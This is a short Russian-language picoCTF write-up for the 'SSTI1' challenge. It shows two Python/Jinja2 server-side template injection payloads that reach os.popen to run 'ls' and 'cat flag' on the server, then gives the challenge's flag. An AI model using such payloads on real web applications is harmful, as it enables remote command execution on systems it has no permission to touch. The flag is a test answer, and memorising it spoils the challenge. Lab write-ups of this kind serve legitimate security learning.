Перейти к основному содержимому

Задание SSTI1

Исследуя Python SSTI, я обнаружил отличный пост OnSecurity здесь подробно описаны различные способы полезной нагрузки. Например, выполняется следующая полезная нагрузка ls в том же каталоге, что и сервер (рис 1)
{{request.application.__globals__.__builtins___.__import__('os').popen('ls').read()}}

img

Пробуем переделать payload для запуска cat flag (рис 2):
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

img

ОТВЕТ: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_bcf73b04}